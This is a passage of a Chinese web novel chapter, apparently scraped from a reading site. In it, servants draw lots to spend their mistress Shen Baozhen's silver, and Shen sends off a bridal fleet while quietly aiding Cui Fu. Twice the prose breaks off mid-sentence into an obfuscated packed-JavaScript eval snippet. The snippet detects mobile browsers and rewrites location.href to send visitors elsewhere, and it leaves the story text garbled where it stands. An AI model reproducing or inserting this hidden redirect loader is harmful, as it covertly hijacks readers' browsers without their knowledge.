沉夏顺手折了根树枝：“聪明！小姐老爷夫人掏的真金白银，总得捞着点什么吧，不能以沈家名义，也不好用岑姓，山今就很合适。我想办山今武馆，免费教善堂和穷苦人家的孩子习武，怎么样？” “不怎么样，他们都吃不饱了，哪有力气学武？还不如读书识字。” “读书识字费力费脑，更容易饿！” “那是对你来说。” “何止是我，徐力也这样。” “……”站边缘默默取经的徐力躺枪。 “我觉得，与其教他们习武，不如让其读书识字，不求博取功名，但能启智明理，为长远计，还是谋生之道。”崔芙提出建议。 科举！功名！ 十个八个，难有作为，百个千个，总有希望。小姐、沈家，必须要有权力傍身。 沉夏揪掉一簇叶子道：“我想的是，武馆师傅由我和莫声他们胜任，要是教读书识字，夫子可不好找。” “山今善堂也需要夫子，诸位就很合适，教教识字、看账、女红、医术等。”抚秋道。 “你是不打算回来伺候小姐了？”知春挑眉。 抚秋拍了下脑袋：“对对对，还是要聘夫子！” 被崔芙点醒的知春又道：“江南文风兴盛，各地遍布学堂，若是发现好苗子，以山今善堂名义，资助他进学，省时省力还省心！我可是要第一个回到小姐身边的。” “我要第一个！”沉夏不甘示弱。 “各凭本事。” “那你保证，银子分配公平公正，别到时候自己拿少少的，给我们多多的。” “你就是这么想我的，是吧？”知春白了她一眼。 “不是我，是我们。”沉夏耿直道。 假装不在意的其他人无语望天，不带这样拆穿的好吗？ “……”扫视一圈后，知春还有什么不明白的。 “抽签分配，看天意，行了吧？” “怎么说？”流冬摸了摸鼻子。 “银子先对半分，余下银子再对半分……以此类推，逐步划为八堆，在一模一样的竹片一面写明数额指代，然后空白面朝上，打乱顺序，我们八个人一块抽取，抽中哪个数额，就得负责花光哪堆。” “不能平分吗？万一抽中最多的那份，也太倒霉了吧？”沉夏很是纠结。 “那如果你抽中最少的那堆呢？” 沉夏倒吸了口气：“抽！我没意见了。” “我也没。” “好。” “同意。” 最终，一致通过抽签决定。 旁观的崔芙：没想到，金山银山会有被避之不及的时候。 万人迷-金山银山：不是，你们有病吧？ 以此同时，静谧的芳菲院中，沈宝珍惬意仰躺美人榻，难得好眠。 次日一早，在广陵落脚的沈氏夫妇，收到管家派人送来的消息，脑瓜子嗡嗡作响。 乖宝这是真厌倦了啊！ 就是说啊，花钱哪有赚钱有意思，钱生钱，人生一大乐事。 “还请老爷夫人示下。” “我们知道了。” 啊？ 就这一句，没说点什么了？ 管家掏了掏耳朵，该不是年纪大了，耳背了吧。 以他对老爷夫人的了解，收到这个消息，定是马不停蹄往回赶，再不济也会出言制止，怎么就是轻飘飘一句“知道了”？ “老爷夫人听完，只说了这一句话，就让小的离开了。” “他们脸色是不是很难看？”管家追问。 “没有，笑了。” “气笑了。”气得不想多说，合理。 “不是，是那种……不用自己干活的笑。” 管家被气笑了，吩咐这个傻子去，是他决策失误。“像我这样？” “不不不是。” “我这是什么笑？” “额…有点像想…额。” “说！” “想咬人的笑。” “滚下去。” “是。” 是夜。 忙活了一天的管家，终于得空过问儿子徐力抽了多少银子，打算用在何处。 “爹，我运气太好了，你都不知道知春沉夏她们，在看到我手里标记的是最小那堆后，齐齐射过来那一双双恨不得劈了我的眼神，哈哈哈，太解气了！” “这值得高兴吗？银子再多都不愁花不出去，你倒是知足。”管家无奈，果然是傻人有傻福。 “我愁，我愁死了，爹，你说我该怎么花那堆银子啊？”徐力收住笑，抓了下头，他想了一天一夜都没想到该干点什么。 “不是给你支招了吗？” “我听了看了啊，但我要怎么做？” “你就只听只看，不会问啊？” “你又没告诉我要问，现在问也来不及了，她们根本不搭理我。” “……”管家险些仰倒，造孽啊。 与此同时，忝隐山，温泉庄子。 “你说什么？”张武惊地坐直了身子。 “我说，怎么在三个月内，花光一百万两？”青松紧张地吞咽口水。 “三个月？呵呵。”张武冷笑连连。 “怎、怎么了？太久了？” “不是你有病吧？三个月？用得着三个月？别说一百万两，一千万两，我都能在三天内花光！” “怎么花？”青松激动地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893598|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搓手，将刻着一百万两的竹片递给他，已经预感到自己能夺得榜首了。 “什么东西？”看清楚上面写的内容后，张武脸一垮，耍人玩是吧？“哪凉快哪待着去，别像我仗着小姐仁慈，就想随心所欲。” “我可不敢像你一样。” 张武从鼻腔里发出一声哼，算你识相。 “我怕疼。” 张武拳头攥得咔咔作响，带有杀气。 “再说了，小姐这样的主子，打着灯笼都难找，我才不会乱来。” “其实，你可以闭嘴的。”张武一字一顿道。 “哎呀，小姐根本没有怪你的意思，不然流冬怎么会给你制药膏，我也不可能送来赏银，现在这种时候，更没闲功夫来找你要答案了。” “我知道，才更……”过意不去。 “快说怎么在三天内花光一百万两，我很急啊！” “急的话就去酒肆喝个够，睡过去就可以做梦了。”张武嗤笑，觉得他真是病得不轻。 “你是根本就不知道怎么做吧，浪费我时间，啧，真是的，谈正事当逗乐子。”青松翻了个白眼，从他手里拿回竹片。 他应该动动脑子想想，知春沉夏她们都懒得来问莫声，自己怎么就稀里糊涂觉得能有辙。 仰天长叹，人蔫蔫的。 “不至于垂头丧气，我像你这个年纪的时候，还设想过封侯拜相呢。罢了，你既然问了，我就大发慈悲地告诉你，一百万两看着多，但若是拨为军费，也就够三十万将士嚼用五个月的样子吧，若是战时，顶多月余。” “三十万将士？我上哪能找到三十万将士？偌大的金陵，也才二十几万人口。”青松抓耳挠腮。“你招募他们来的地方，远吗？” 张武面无表情，伸手探他脑门。“你病得不轻。” 青松后退避开：“我没病，这银子是小姐要求我们花的，不花完不得出现在她面前，我还算好了，只抽中了一百万两，你都不知道……” “你说什么？”张武抓住他的衣领，将人扯近。 “下次我过来，带点治耳朵的药给你。” “小姐真给你一百万两？” “给了啊。她们也有，大家都有。” “她们？大家？” “哦说错了，你和芙蕖没有。” “小姐怎么了？沈家出事了？” “没有啊，为什么这么问？小姐好着呢，沈家一切如常，老爷夫人出远门没回来。” “那为什么给你们这么多银子，像是……”最后的狂欢。 “因为，老爷突然给小姐塞了一大笔银子花，把隔壁宅子的库房塞得满满当当，小姐一气之下让我们花。” 张武听得目瞪口呆，瞧着青松一副被迁怒的无奈模样，顿时生出股无名火。 天大的好事，偏偏落在这群傻子头上，让人无语至极！ “有没有别的花钱法子了？” 张武深吸一口气，按捺住踹人的冲动。“有，赚钱我不行，花钱还不会吗？跟我进院里去详聊，来都来了，也见见唐浩这些护卫，常言道，三个臭皮匠，顶个诸葛亮。” 被推搡着往里走的青松，觉得挺有道理，主动前行。 没注意到他身后的张武，露出了看肥羊的眼神。 破虏关未来三年的军需，都有着落了，哈哈哈哈！ 32. 圣旨到！领旨的人找不着 另一边的芳菲院。 沈宝珍正在思考，怎么才能悄无声息出手相援破虏关。 唉。 难。 “小姐休息会，别累着了。” 唯一露面且能贴身伺候的崔芙，端来知春泡的茶、流冬做的糕点。 看了半天还在看话本子同一页的沈宝珍：不至于。 “她们还没动作？”净手时，扫了眼熟悉的糕点。 “都有计划了。” “嗯。” “小姐怎么不问问她们会做什么、怎么做？” “又不是闯祸，随她们去。另派五名护卫，隐在暗处，确保平安归来。” “是。” “找徐伯问清爹爹娘亲所在，挑上十名护卫前去。随送亲船北上的，再添二十，剩下的，让徐伯安排。” “是。” 三日后。 “爹爹娘亲，你们可算回来了。” “乖宝。”岑内琇不着痕迹扫了眼崔芙，拉着沈宝珍进了屋，嬷嬷们识趣止步。 “娘亲，我给你和爹爹求了平安符。”沈宝珍取出签文，将剩下两枚平安符的荷包递给岑内琇。 “平安符来得正好。” “嗯？” “广陵那边有好几波人在找寻崔芙、打探江南梁氏一族，得亏乖宝你给出去的身份令牌、取银对牌经得起查证。”岑内琇一阵后怕。 “据说，第一波人，月中出现。寤寐惊悸、瞳散神呆，一看就是走水路日夜兼程不适导致，先问的梁氏，而后是崔芙，四处奔走都没打听到消息，口不择言暴露了此行并非寻人，而为索命。” “第二波是各地官署，尤其是广陵知府衙门，盘问了明月楼、钱庄上上下下，就连入住厢房、取银账簿都没放过，跟抓捕案犯一样。” “去广陵游玩那回，我在明月楼与崔芙碰过面。”沈宝珍道。 “慕名拜会的人很多，万氏兄妹同在其间，你作为少东家，招呼招呼贵客，合情合理，掌柜也不敢多嘴。” “嗯。” “第三波自称崔府下人，来接小姐回京，也就是前些天的事。大户人家多阴私，京城富贵藏枯骨，我和你爹已经决定，慢慢将那边的生意转手，免得沾染上脏东西。” 转手京城那边的生意？ 沈宝珍心弦一动。 “第四波就是朝廷来的钦差。圣旨到了，领旨的人遍寻不着，暂时于两江总督府封存。我们打探到这消息时，钦差已经乘船赶回京复命了，据说与崔府来的人同行，八成是一路货色。” “不知他们回去后会如何编排，要是捅破安国亭侯根本没有族人在江南，下次朝廷派来的钦差，就不会是宣旨那么简单了，彻查到我们沈家，也只是时间问题。”沈福达似笑非笑道。 沈宝珍一惊。 不等她问，沈福达话锋一转：“要真是这样就好了。” 【钱明明是乖宝出的，合该是永嘉郡君！】 【苏河那三十万，真是白瞎了，周巡抚话说的好听，完工了就给请功，他倒是请啊！】 【建乐善坊留个名，还要我们掏钱，皇帝老子可真是大方呢，官家小姐大赏特赏，到了商户就口头嘉奖，抠抠搜搜，不要脸！！！】 沈宝珍：？？？ “盛名之下，其实难副。爹爹，钱权名利，我们沈家已经占了首尾，再添权利或是名誉，都可能迎来灭顶之灾。” “道理都懂，但是不甘，说到底，存有侥幸。”话落，沈福达抑住思绪。 听罢，沈宝珍默然，自己何尝不是这样。 若是没做那个梦，没有读心之能，由爹爹娘亲庇护着度日，好像也……不、不行，爹爹娘亲要长命百岁，她不能一直躲在他们羽翼之下…… “好了，别杞人忧天了。反正该做的、不该做的，都做了，朝廷那边会怎么样，也不是我们能左右的。”岑内琇劝慰道。 “你娘说得对。” “听娘亲的。” 秋分至，秋风起。 金陵渡口。 魏氏的四艘送亲船船头，皆挂着红灯笼，以示喜庆。 将贺礼交由魏雅的贴身婢女，沈宝珍站在岸边，目送送亲队伍护送新娘登上披红挂彩的主船，进入舱内喜帐。 甭说说句话了，两人就连面都没能见上。 嫁妆用红绸覆盖，被抬至随行船。 日出吉时，另一条随行船上的乐师们起奏，负责燃放鞭炮、撒铜钱“买水路”，驱邪祈福的开路船先行。 “今日一别，再难相见。”万曦望着驶离的送亲船感慨。 【无论是金陵，还是广陵，至京城，都太远了。】 “我还以为你不来了。”伍珂玥看向沈宝珍。 【只四艘送亲船，也太寒酸吧？连护卫船都没有，现在还是水匪劫掠高发期，北上婚嫁船只，更是重点目标。】 “说好今天送上贺礼，当然不能食言。”沈宝珍的目光，落在准备离岸的四艘不起眼的护卫船上。 “现在可以告诉我们，送的是什么贺礼了吧？”谢谰语笑着问。 “时机未到。”沈宝珍打着哈欠。 “还要等到什么时候？” “等到你们出嫁那日。”继续瞒着哇，反正她不急。 “……” 静默片刻，万曦缓缓开口：“如此，明年上巳节，我等着沈妹妹的贺礼。” “我在来年惊蛰。”谢谰语俏脸一红。 【惊蛰婚，子孙昌。】 “我比你们都早些，日子定在阳气始生的冬至。”伍珂玥无悲无喜，像极了当初的魏雅。 “中举者，冬婚以承祖荫。”万曦祝福道。 “借你吉言了。”伍珂玥扯出一抹笑。【不过是双方恐迟则生变，才这般着急。】 “定能双喜临门。”谢谰语宽慰道。 “但愿如此。” “我记下了。喜宴不一定出席，但贺仪一定会奉上。”沈宝珍说完，走向马车，回家补觉。 “为什么不一定出席？” “因为，你们大婚那段时日，我可能不在金陵。” “去哪？” “还不知道。”沈宝珍实话实说。 “……”哼，敷衍。 渡口送完人，沈宝珍没有直接回家，而是乘坐马车巡视苏河堤。 一年之期已到，顺道亲自验收。 堤岸加高加固，河道明显开阔，看着安全不少。 * 魏氏送亲主船上。 “小姐，这是沈小姐送你的贺仪。” “列入礼单，一并收好。”早起梳妆打扮完成一系列仪式，终于可以坐下休息的魏雅，累得不想动弹。 按吩咐打开查看的贴身丫鬟，没忍住低呼出声，激动地搓了搓手。“小姐你还是亲自看看吧。” “拿过来。” 见丫鬟捧过来一个熟悉的匣子，魏雅心里已有答案。 侧卧在喜帐内，随意扫了一眼，果然是银票。 刚要收回目光，发现厚度不对，愣住了。 多了？！ “可有清点？” “奴婢方才粗略地清点了番，约莫是五万两。” “多少？”魏雅惊地从床上坐了起来，并将匣子放在膝头，亲自数了起来。 “五万两，奴婢应该没有弄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898549|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错。” “她怎么会给我这么多银票？”主仆来来回回清点了三遍，确定一定以及肯定，就是五万两后，魏雅失了魂般躺回喜帐中，一会哭一会笑。 “小姐莫哭，这是好事，手头宽裕，日子舒心，福气还在后头呢。” “沈小姐待小姐真好。” “可我待她一般。” “来日方长，后会有期。” 丫鬟这话，反倒提醒了魏雅，沈宝珍有托她捎个人回京城来着，这人呢？ “沈小姐将贺仪交由奴婢时，并未提及此事。”丫鬟解释道。 “难道她忘了？不应该啊，会不会在另外三艘船上？” 想到这，魏雅吩咐丫鬟出去瞧瞧，找机会问问。 原本要搭魏氏顺风船归京的崔芙，此刻端坐护卫船船舱，盯着沈宝珍送给她的玉葫芦出神。 [京城凡是牌匾上带有葫芦印记的商铺，向掌柜出示此物，便可自证东家身份，留备自用之余，以梁氏族人名义，为安国亭侯在世时誓死守卫的边关，尽份绵薄之力。] 京城来人、官署闹腾、圣旨封存……她料到老爷、夫人迟早会洞悉真相并告知小姐，只是没想到，那一日出现了，她无知无觉。 更没想到，小姐明知自己有所隐瞒，不曾过问，待她如常，只在上船前一刻，寥寥数语托付，明摆着用沈家暗处产业，为她铲平回京之后阻碍，自己何德何能？！ 魏雅也想知道，自己何德何能，值得沈宝珍如此。 贴身丫鬟去而复返，告知多了四艘挂红灯笼的护卫船。 停靠途中，问清缘由，触动不已。 “沈妹妹月前央我捎位姑娘回京，倒成姑娘送我了。” 正要被其贴身丫鬟送下主船的崔芙，脚步一顿。 月前？ 明明是十天前，才拜托小姐这事，她怎会在一月前就同魏雅说起？ 难道，小姐早就猜到自己身份？ 是了，若非当事人，梁崔两家的事情，一个小丫鬟如何知道得一清二楚。 自己明明有无数次坦白的机会，却一次次顾虑放弃。 紧攥玉葫芦，悔意如潮水。 与此同时，沈家。 “没了卖身契约束，就这么任由乖宝将京城生意交给崔芙，妥当吗？作为永嘉郡君、忠襄安国亭侯孙女、兵部侍郎之女，想清算知晓自己不堪境遇的沈家易如反掌。何况，她知道得太多了，但凡秃噜出去，我们的一些筹谋，都将化为乌有。”岑内琇有些不安。 “一纸卖身契栓住身，乖宝赤忱以待却是俘获心，崔芙能写出《江南百官录》报恩，怎会不知是主动递上把柄，这样的人，不会过河拆桥。” “再者，官眷之荣，金枷玉锁。身份越不一般，越多条条框框。她要是想落得个欺君之罪、自云端跌落，尽管拆穿。她那般会顺水推舟、趁势而上，怎会允许自己重蹈覆辙。” 沈福达意味深长补充道：“抛开这些不论，乖宝让崔芙将京城生意进项献于朝廷之举，可谓是一举多得。 其一，回应了昔日梁氏族人，为何会从京城将崔芙带离，以及各路人马在江南，缘何遍寻她们不得； 其二，年初江南贪腐案，牵扯了不少富户乡绅，死的死罚的罚，安然无恙的沈家，太打眼。 堂堂巡抚屈尊降贵来借粮，更是证明了这点。 树鹄立靶，势在必行。 似有若无的梁氏，再合适不过了。 如此，不稍加利用，简直暴殄天物。 其三，看似舍了偌大的京城产业，实则入了天子眼，往后“义商梁氏”的生意将无往不利！ …… *